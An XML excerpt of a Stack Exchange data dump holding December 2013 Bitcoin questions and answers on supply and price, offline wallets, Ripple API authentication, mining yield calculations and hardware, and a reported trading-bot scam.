  <row Id="18109" PostTypeId="1" AcceptedAnswerId="18110" CreationDate="2013-12-06T05:58:18.970" Score="3" ViewCount="651" Body="&lt;p&gt;The popular intuition is that that greater supply = less demand. I've looked around and haven't found a counter-argument. Why is the BTC gaining value as its quantity increases?&lt;/p&gt;&#xA;" OwnerDisplayName="user10259" LastActivityDate="2017-10-16T18:56:25.680" Title="Why doesn't BTC depreciate in value as its supply increases?" Tags="|money-supply|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18110" PostTypeId="2" ParentId="18109" CreationDate="2013-12-06T06:15:32.747" Score="6" Body="&lt;p&gt;The popular intuition is typically correct in well-saturated markets, but Bitcoin is not yet a well-saturated market. Though the supply of Bitcoin is currently increasing the demand is increasing dramatically faster. This is because we are during the initial adoption curve of a new technology and new demand is created as individuals discover the new tech.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, there is absolutely some downward pressure on Bitcoin's price exerted by the inflating supply, but it has been completely overwhelmed by upward pressure from new adoption.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-12-06T06:15:32.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18111" PostTypeId="2" ParentId="18101" CreationDate="2013-12-06T06:49:12.903" Score="0" Body="&lt;p&gt;Increasing the 1MB limit is already in the works. It will happen soon. Having users run into this limitation would ultimately hurt bitcoin. It wouldn't make sense to cripple bitcoin in one area in attempt to incentivise it in another. I think there are better ways to incentivise bitcoin gyft cards.&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditDate="2013-12-07T07:47:55.550" LastActivityDate="2013-12-07T07:47:55.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18113" PostTypeId="1" CreationDate="2013-12-06T07:03:43.807" Score="0" ViewCount="17984" Body="&lt;p&gt;I bought Bitcoins from the Robocoin ATM (I'm told it's the only one) and it gave me a receipt with a QR code to scan into my wallet. I downloaded Blockchain, but don't see where in the app I can scan the receipt to add to my wallet. Help!&lt;/p&gt;&#xA;" OwnerUserId="10271" LastEditorUserId="2306" LastEditDate="2014-11-02T01:25:34.523" LastActivityDate="2020-12-01T16:01:20.130" Title="How do I scan my bitcoin receipt into my wallet?" Tags="|wallet|blockchain.info|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18114" PostTypeId="2" ParentId="17918" CreationDate="2013-12-06T07:05:55.630" Score="0" Body="&lt;p&gt;Both BFL hardware and software are quite unstable, and depend on the starting temperature of the BFL hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is: stop the mining software, power off the BFL miner, and stick the BFL miner in the freezer for 5-10 minutes (or longer, say 1-2 hours) so that it can cool down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I got my 50GH/s, it could only run at around 25GH/s. Eventually, I found out that it is temperature sensitive. I have, once in a while, powered it down, put it in the freezer, and then powered it back up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get pretty impressive results that way. From an original of 8 out of 16 chips working, I now get 15 out of 16 chips working.&lt;/p&gt;&#xA;" OwnerUserId="4404" LastEditorUserId="5406" LastEditDate="2013-12-10T13:56:43.893" LastActivityDate="2013-12-10T13:56:43.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18115" PostTypeId="2" ParentId="18113" CreationDate="2013-12-06T07:06:00.083" Score="0" Body="&lt;p&gt;Find a button labeled &quot;import private key&quot;, and it'll open a camera view to let you scan the QR code. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-06T07:06:00.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18116" PostTypeId="1" AcceptedAnswerId="18118" CreationDate="2013-12-06T07:38:35.097" Score="2" ViewCount="391" Body="&lt;p&gt;I'm googling, and looking for such option, to authenticate to ripple.com with out secret key, but username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found only with secret key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# curl -X POST -d '{ &quot;method&quot; : &quot;sign&quot;, &quot;params&quot; : [ { &quot;secret&quot; : &quot;snoPBrXtMeMyMHUVTgbuqAfg1SUTb&quot;, &quot;tx_json&quot; : {&quot;TransactionType&quot;:&quot;Payment&quot;,  &quot;Account&quot;:&quot;rHb9CJAWyB4rj91VRWn96DkukG4bwdtyTh&quot;, &quot;Amount&quot;:&quot;200000000&quot;, &quot;Destination&quot;:&quot;r3kmLJN5D28dHuH8vZNUZpMC43pEHpaocV&quot; }} ] }' http://s1.ripple.com:51234 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How properly to authenticate with username and password only? &lt;/p&gt;&#xA;" OwnerUserId="10274" LastActivityDate="2013-12-31T01:40:54.073" Title="Is there api for ripple.com to authentificate with username &amp; password?" Tags="|ripple|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18118" PostTypeId="2" ParentId="18116" CreationDate="2013-12-06T08:08:13.870" Score="4" Body="&lt;p&gt;Usernames and passwords are client wallet functions. They have no meaning to the Ripple network and servers would have no idea what to do with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, servers do not have permission to obtain encrypted wallets because if they did, they could attempt to brute force decrypt them, negating the security advantages of the blob vault. By design, is is as difficult as possible to ask someone else to obtain your wallet, purportedly on your behalf. This is necessary to prevent malicious web sites from sending javascript to your browser that causes it to brute force other people's wallets as you browse the Internet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-12-06T08:14:20.393" LastActivityDate="2013-12-06T08:14:20.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18120" PostTypeId="2" ParentId="18067" CreationDate="2013-12-06T08:57:34.107" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Stamp_collecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Stamp_collecting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mULs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like something similar to nowadays events with alt-coins already were in the history of humanity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can stop Stamp collectors from creating new stamp? Theoretically, there is finite lumber on the Earth, finely, finite number of the atoms around Sun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare to alt-coins, there is finite number of tcp ports, 1-65535. However, any alt-coin can take original bitcoin's ports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finite number of IP addresses, however, there is IRC protocol in the base of bitcoin protocol, probably, only one node needs in real IP, may be no one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Enter to the market for new alt-coin appear more and more friendly. Probably, once, user would chose couple of params, Number of coins, delays, ports, name of alt-coin, and Logo. &lt;em&gt;Push the button. Alt-coin ready.&lt;/em&gt; User will only configure his GPU/CPU to make the life in the block-chain.&lt;/p&gt;&#xA;" OwnerUserId="10274" LastActivityDate="2013-12-06T08:57:34.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18124" PostTypeId="2" ParentId="18106" CreationDate="2013-12-06T10:56:25.817" Score="0" Body="&lt;p&gt;There isn't any point in mining with a CPU or GPU. You can get just a few MHash/s that are not enough to accept work from pools. If you want to mine, you have to have at least 1&amp;nbsp;GHash/s, and you need to buy specific hardware, like ASIC miners. There are a few companies like Butterfly Labs, KnCMiner and more where you can buy machines. The most recent one is from KnCMiner that release preorders for Neptune, a 3000&amp;nbsp;GHash/s machine for about 12,000 dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also look at some cloud mining like &lt;a href=&quot;https://cex.io/r/1/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cex.io&lt;/a&gt;. The price per GHash is much more, but you can trade GH any time. &lt;/p&gt;&#xA;" OwnerUserId="10285" LastEditorUserId="1405" LastEditDate="2013-12-29T18:55:00.793" LastActivityDate="2013-12-29T18:55:00.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18125" PostTypeId="1" CreationDate="2013-12-06T11:04:59.270" Score="7" ViewCount="40620" Body="&lt;p&gt;(This question applies to private wallets, stored in a local computer. Not so much for online wallets, which are supposed to always be connected to the internet) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have a wallet with several addresses. Somebody (maybe even myself) makes a transfer to one of my addresses. My impression is that my bitcoin client (the one managing the wallet to which the address is associated) must be running and connected to the internet in order for this transfer to be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say this because, since a wallet has &lt;em&gt;real money&lt;/em&gt;, the bitcoins (those &lt;em&gt;unique&lt;/em&gt; bitcoins that have been transferred) must arrive to the wallet somehow. But if my wallet is not connected, this is impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what happens if the wallet is not connected to the internet? Where are the bitcoins? Are they in a &quot;bitcoin limbo&quot; until they are transferred to my wallet? &lt;/li&gt;&#xA;&lt;li&gt;How is this managed from the &lt;code&gt;blockchain&lt;/code&gt; point of view? Are transfers marked as &quot;done&quot; when the money has been transferred to a wallet?&lt;/li&gt;&#xA;&lt;li&gt;is there any kind of timeout? What happens if I do not connect my client for a day / month / year / ever? Are the bitcoins lost, or is the transfer cancelled?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe I am misunderstanding what an address / wallet really represents.&lt;/p&gt;&#xA;" OwnerUserId="9479" LastActivityDate="2019-11-10T08:08:28.350" Title="Must my wallet be connected to the internet to receive payments?" Tags="|transactions|wallet|client|address|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18126" PostTypeId="2" ParentId="18125" CreationDate="2013-12-06T11:23:32.200" Score="7" Body="&lt;p&gt;No, the transactions are weaved into the blockchain by the p2p network of miners. That's what counts. Your address is only a keypair that proves you ownership. The concept of cold storage is exactly the idea to not connect to the internet so nobody can steal your coins (or rather, the key to access your wallet).&lt;/p&gt;&#xA;" OwnerUserId="2924" LastEditorUserId="-1" LastEditDate="2018-03-12T04:31:44.810" LastActivityDate="2018-03-12T04:31:44.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18127" PostTypeId="2" ParentId="18037" CreationDate="2013-12-06T12:45:15.237" Score="2" Body="&lt;p&gt;You can hover over the &quot;Online&quot; indicator to see the number of peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should only take a few seconds to find more peers. This is dependent on the Bitcoin network though. You can force MultiBit to attempt to connect to a whole new set of peers by restarting it.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-12-06T12:45:15.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18128" PostTypeId="2" ParentId="17999" CreationDate="2013-12-06T12:47:45.713" Score="0" Body="&lt;p&gt;Bitcoin creation follows a pre-determined schedule specified in the community contract, the &lt;em&gt;Bitcoin protocol&lt;/em&gt;. Each block allows the respective successful miner to assign a fixed number of new bitcoins to an address of his choice. The schedule allows the creation of 50BTC for the first 210,000 blocks, then subsequently half of the previous reward for every next 210,000 blocks. (Currently we are in the second block area with 25BTC reward.) This reward is not adjusted due to additional revenue from transaction fees, rather (at this stage) they represent an added bonus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that slowly the incentive from the reward will diminish and that this will be absorbed by increasing value of the transaction fees. There is currently some discussion whether this will actually work; some worry that transaction fees generally trend to zero, others suggest that by the time it becomes a big issue, there will be sufficient shareholders in bitcoin, in whose interest it is to either provide mining power in order to sustain their livelihood or to provide transaction fees to incentivize others to do so.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-06T12:47:45.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18130" PostTypeId="1" AcceptedAnswerId="18181" CreationDate="2013-12-06T13:27:52.767" Score="0" ViewCount="499" Body="&lt;p&gt;How long does it take for a ripple bridge transaction to clear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitstamp BTC on ripple -&gt; bitcoin address&lt;/p&gt;&#xA;" OwnerUserId="341" LastEditorUserId="341" LastEditDate="2017-06-07T09:46:47.353" LastActivityDate="2017-06-07T09:46:47.353" Title="Bitstamp ripple bridge clearing time" Tags="|transactions|ripple|ripple-gateways|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18131" PostTypeId="2" ParentId="2844" CreationDate="2013-12-06T13:34:57.433" Score="0" Body="&lt;p&gt;Many companies accepting BTC for products / services can be found here &lt;a href=&quot;http://coinmap.org&quot; rel=&quot;nofollow&quot;&gt;http://coinmap.org&lt;/a&gt;, though there is still a shortage of places to turn BTC into hard cash easily. There's Coinbase tied in with US banks, wires and withdrawals have fees but much faster to use than MtGox. That leaves localbitcoins and the far more suspect &lt;a href=&quot;http://bcchanger.com/&quot; rel=&quot;nofollow&quot;&gt;http://bcchanger.com/&lt;/a&gt; (beware new users!!). There are Robocoin ATMs now in general circulation but for traders, fees can be a problem. If you can stick with BTC you'll do fine, but converting to cash is slow and costly. One option is to circulate through arbitrage and keep trading until 'enough' margin is available to dump a stack of coins in the market by discounting. If you have BTC to sell and the current rate on localbitcoins is $997 and you post at $970, you'll sell quickly. The more we use and develop BTC, the better for us all. The value is increasing rapidly in the BTC market. How else can we sell our BTC for cash? Lets keep working on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final word, please be very informed before looking at Ripple. Here's some food for thought. Search ripple scam for comment 20306.&lt;/p&gt;&#xA;" OwnerUserId="10294" LastActivityDate="2013-12-06T13:34:57.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18132" PostTypeId="2" ParentId="18125" CreationDate="2013-12-06T14:20:23.877" Score="7" Body="&lt;p&gt;You can receive payments without being online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet's purpose is mainly to store your private keys which enable you to spend balances associated with corresponding addresses. The actual bitcoin balances are stored in the blockchain (&quot;the public ledger&quot;) which is constantly being updated by the bitcoin network even when you are offline. When you open your wallet, it will catch up to the current status by validating any blocks that occurred while you were offline. The balance shown in your wallet only represents a snapshot of the latest information available to your wallet (which may lag behind if you aren't synchronized, or may be accurate, if you are currently in sync with the network).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, Bitcoin payments will arrive just fine with you being offline, you just probably won't be aware of it until later.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-06T14:20:23.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18133" PostTypeId="2" ParentId="18130" CreationDate="2013-12-06T14:24:14.473" Score="0" Body="&lt;p&gt;I tried it... ~ 2 hours before the bitcoin transaction is published.&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2013-12-06T14:24:14.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18134" PostTypeId="1" CreationDate="2013-12-06T15:05:14.307" Score="-6" ViewCount="172" Body="&lt;p&gt;I really value your opinion. My question is in yuor personal opinion would you purchase and wait for a neptune from KNC or do you think I can get something better for my value. This will be my first mning machine and I want to it be a good investment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Justin&lt;/p&gt;&#xA;" OwnerUserId="10297" LastActivityDate="2013-12-06T15:44:46.170" Title="Would you buy a Neptune" Tags="|wallet|client|buy-bitcoins|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18136" PostTypeId="2" ParentId="18134" CreationDate="2013-12-06T15:44:46.170" Score="1" Body="&lt;p&gt;Generally speaking only a very small percentage of people have actually made a profit mining (by profit, I mean made more bitcoins than you would get than just buying them outright). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At almost every point during bitcoins existence the way to acquire the most bitcoins would be to buy them. &lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-12-06T15:44:46.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18137" PostTypeId="1" AcceptedAnswerId="18142" CreationDate="2013-12-06T16:30:56.127" Score="2" ViewCount="272" Body="&lt;p&gt;The maximum number of Bitcoin is 21 000 000.&#xA;However this number of Bitcoin may never exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supposing someone have 5 BTC in their wallet. In order to protect them, they encrypted it and then forgot the passphrase, or die (sorry, this example is sad).&#xA;In this case, the real maximum number of &lt;em&gt;usable&lt;/em&gt; Bitcoin would be 20 999 995...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that understanding correct? What do you think about this?&lt;/p&gt;&#xA;" OwnerUserId="10300" LastEditorUserId="5406" LastEditDate="2016-09-09T12:30:49.913" LastActivityDate="2016-09-09T12:30:49.913" Title="Is it possible to definitely lose bitcoins?" Tags="|protocol|encryption|lost-bitcoins|shrinking-money-supply|" AnswerCount="2" CommentCount="3" ClosedDate="2016-09-09T12:35:24.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="18140" PostTypeId="1" CreationDate="2013-12-06T16:56:26.747" Score="1" ViewCount="441" Body="&lt;p&gt;I am trying to figure out how blockchain.info gets the following API functions and is there any way to do these calls on a server (without using their API) perhaps through bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/q/addressfirstseen/&#xA;https://blockchain.info/q/addressbalance/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="9235" LastActivityDate="2014-05-06T03:55:29.157" Title="How does blockchain.info get the addressbalance / seen date?" Tags="|blockchain|bitcoind|client|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18141" PostTypeId="2" ParentId="2455" CreationDate="2013-12-06T16:57:32.047" Score="0" Body="&lt;p&gt;It's a good question you're asking there. And the answer is plain simple : Bitcoin is definitely not environment friendly by design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that it is designed to keep the output rate stable at 1 block every 10 minutes regardless the amount of computing power we give it. The more computers are working, the harder it become to solve a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a big concern for many (me first). If Bitcoin became THE money, financial groups will invest massive amount of money in mining and we will see humanity asphyxiated for crunching numbers. That would be the most ridiculous end of the world. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, we can think of Bitcoin being the holly grail of money. Something that is available in a known limited in quantity (we don't know how much gold is on earth). It is far less virtual than the current moneys that are not tied to any physical value (gold) or limits and that banks are creating out of nothing. Bitcoin is certainly a way to get out of the actual system that led us to where we are : a world led by a minority that just care about their wallet and not about the future of earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that we will find a Bitcoin alternative that require a limited amount of energy to run the system.&lt;/p&gt;&#xA;" OwnerUserId="1822" LastEditorUserId="1822" LastEditDate="2013-12-06T19:23:32.710" LastActivityDate="2013-12-06T19:23:32.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18142" PostTypeId="2" ParentId="18137" CreationDate="2013-12-06T16:59:37.073" Score="3" Body="&lt;p&gt;Yes it's possible to lose bitcoins forever.  There are even ways to &quot;provably destroy&quot; them by sending them to an address that can't possibly have a private key.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-12-06T16:59:37.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18143" PostTypeId="1" CreationDate="2013-12-06T17:02:29.430" Score="0" ViewCount="2184" Body="&lt;p&gt;So, I'm trying out &lt;a href=&quot;http://cex.io&quot; rel=&quot;nofollow&quot;&gt;http://cex.io&lt;/a&gt;, a cloud based hash market. They use the pool &lt;a href=&quot;http://ghash.io&quot; rel=&quot;nofollow&quot;&gt;http://ghash.io&lt;/a&gt; which uses &quot;PPLNS&quot; for distribution of funds(?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that I can see how much total hashing power is in runs, and I can see how much hashing power I am contributing to each run, how can I calculate an average rate of BTC I will get? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-03-31T16:24:45.160" LastActivityDate="2016-03-31T16:24:45.160" Title="How can I calculate the bitcoin per day from mining in a pool?" Tags="|mining-pools|mining-profitability|pool-payout-methods|cloud-mining|ghash.io|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18144" PostTypeId="2" ParentId="17820" CreationDate="2013-12-06T17:04:55.010" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=260031.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=260031.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no proof anywhere that the developers owns 85-90% of Quark.&#xA;In case anyone have such evidence i would like to know the details.&#xA;So far as i know, the release was fair and no pre mining was done before the release.&#xA;Check here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=260031.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=260031.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare the first mined block with the day of QRK's release. &#xA;Look at the number of unique addresses too.&lt;/p&gt;&#xA;" OwnerUserId="10302" LastActivityDate="2013-12-06T17:04:55.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18145" PostTypeId="2" ParentId="18038" CreationDate="2013-12-06T17:12:36.770" Score="1" Body="&lt;p&gt;The wiki maintains a list of &lt;a href=&quot;https://en.bitcoin.it/wiki/Software&quot; rel=&quot;nofollow&quot;&gt;currently available software tools&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see anything on there per-se but it might be an included feature in one of the pc tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I say go ahead and write one if you have the time and desire.  It's nice to have options even if that feature already exists somewhere. I'm mostly Mac desktop guy these days so I'm a fan of multi-platform tools when possible. But that's tough to do for the kind of thing you're taking about. But if you open-source it there's always room for someone to port it or expand upon it!&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-12-06T17:12:36.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18146" PostTypeId="2" ParentId="18109" CreationDate="2013-12-06T18:02:03.907" Score="-1" Body="&lt;p&gt;The supply of Bitcoin is increasing at a decreasing rate. If the supply curve just went to infinity, Bitcoin would be less attractive over time.  But it doesn't: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;How many bitcoins will there eventually be?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10303" LastEditorUserId="10303" LastEditDate="2017-10-16T18:56:25.680" LastActivityDate="2017-10-16T18:56:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18147" PostTypeId="2" ParentId="18140" CreationDate="2013-12-06T18:25:53.933" Score="3" Body="&lt;p&gt;I'm actually working on doing this. To get the balance of an address you have to scan the entire blockchain. This can take a while but blockchain.info returns the balance instantly, which means they've already scanned the entire blockchain and are tracking all addresses. That's a lot of data to store, several gigabytes worth.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastEditorUserId="9540" LastEditDate="2013-12-06T23:07:28.553" LastActivityDate="2013-12-06T23:07:28.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18148" PostTypeId="2" ParentId="18143" CreationDate="2013-12-06T18:27:06.413" Score="2" Body="&lt;p&gt;To go from GH/sec to BTC/day, use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC/day = GH/sec * 1,000 * 25 * 24 * 3,600 / 2^32 / difficulty(in millions)&lt;br&gt;&#xA;Because: the block reward is currently 25, there are 24 hours in a day, 3600 seconds in an hour, and the base share difficulty is 2^32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So 100GH/s, at the current difficulty of 707 million will yield:&lt;br&gt;&#xA;100 * 1,000 * 25 * 24 * 3600 / 2^32 / 707.41 = .0711 BTC/day&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this assumes no pool fees and no variance at all. Of course, the difficulty is increasing so the yield will drop.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-06T18:27:06.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18149" PostTypeId="2" ParentId="18109" CreationDate="2013-12-06T18:33:30.410" Score="0" Body="&lt;p&gt;The &lt;em&gt;rate&lt;/em&gt; of bitcoin growth is regulated by virtue of how it was built such that each block should be found on average every 10 minutes, and the difficulty of mining is adjusted up or down to keep that rate more or less in line. Since the rate of production cannot be increased by brute force (by adding more computing power to the network) over the long run, there will no doubt be an increase in demand which is growing at a faster rate than the increase in supply. Of course the supply is fixed but the last bitcoin won't be mined for 100 years, so that shouldn't really play a factor today but that the rate of production will regulate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the ultimate amount were the regulating factor, then natural resources such as oil, rare earth metals or even gold should shoot to the moon because we know they will be exhausted in the next few centuries.&lt;/p&gt;&#xA;" OwnerUserId="10263" LastActivityDate="2013-12-06T18:33:30.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18150" PostTypeId="2" ParentId="18109" CreationDate="2013-12-06T18:40:04.627" Score="0" Body="&lt;p&gt;It's the supply AND demand curves that determines the equilibrium price. If the supply increases but the price remains unchanged, that means demand has also increased.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-06T18:40:04.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18151" PostTypeId="1" CreationDate="2013-12-06T19:11:02.410" Score="-4" ViewCount="423" Body="&lt;p&gt;Where can I buy shares of bitcoin? I have exhausted all due diligence as to where I can invest in Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="10306" LastEditorUserId="2306" LastEditDate="2015-07-26T18:58:59.790" LastActivityDate="2015-07-26T18:58:59.790" Title="Where and how can I buy shares in bitcoin?" Tags="|securities|" AnswerCount="2" CommentCount="3" ClosedDate="2013-12-10T05:31:25.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="18153" PostTypeId="2" ParentId="14439" CreationDate="2013-12-06T19:16:08.863" Score="4" Body="&lt;p&gt;Yes the BTC Robot is a scam. I bought 10 bitcoins when the price was $140 a coin. I used the robot and it brought my bitcoin number down to 2.774 as it made more losing trades than winning trades. I turned it off when I realized what was happening. Despite of this I didn't lose money as the bitcoin price kept rising. If I had simply held my coins and not traded with this stupid robot I would now have almost $10,000 in my account instead of the $2200 that I now have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you read the testimonials you can see that if they would have done the math they would have seen what I did and realized how they were tricked, but because they still have more in their account than they initially invested they think the robot is working in their favor.&lt;/p&gt;&#xA;" OwnerUserId="10307" LastActivityDate="2013-12-06T19:16:08.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18154" PostTypeId="2" ParentId="18151" CreationDate="2013-12-06T19:31:04.007" Score="2" Body="&lt;p&gt;If you're looking to &quot;invest&quot; in Bitcoin, there are a few places you can do it. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Buy bitcoins themselves. Arguably the easiest option&lt;/li&gt;&#xA;&lt;li&gt;Buy hashing power and/or hardware. This can make you money in the meantime and has a very small chance of selling for more than you bought it, depending on hardware&lt;/li&gt;&#xA;&lt;li&gt;Invest in the companies building hashing power(ASICs) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2013-12-06T19:31:04.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18155" PostTypeId="2" ParentId="17429" CreationDate="2013-12-06T19:35:35.413" Score="1" Body="&lt;p&gt;Either you had a very good idea, some years behind, or you read about Litecoin and wanted to be answered with its name :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In principle it's impossible to design an algorithm that can &lt;em&gt;only&lt;/em&gt; be run on a generalistic CPU installed in a normal computer - you can always design purpose-specific hardware for whatever application though normally this is limited by cost-benefit reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin's designers' decision to use scrypt rather than SHA-256 was precisely because they wanted mining not to be over-taken by GPUs. In the end this was a partial defeat, since GPUs do can be used to mine scrypt-based crypto-currencies, albeit the efficiencies vs. CPUs are not as enormous as with SHA-256: a GPU is between some dozens to a hundred times more efficient than a CPU, rather than several thousands more efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is scrypt forces you to either have large amounts of memory or be able to re-compute previous values of the hash function rapidly, thus making GPUs way less efficient for this and complicating the design of an ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primecoin's algorithm (looking for Cullingham chains of prime-numbers) can only be done right now by a CPU. Should this über-neue crypto-currency rise as sharply in value as Bitcoin, you could see a new generation of purpose-specific chips designed solely to look for prime numbers (or to test the primality of one), which would mean the end of CPU-mining for it as well as have a deep impact both on scientific and security computing (for the good and bad, respectively).&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-06T19:35:35.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
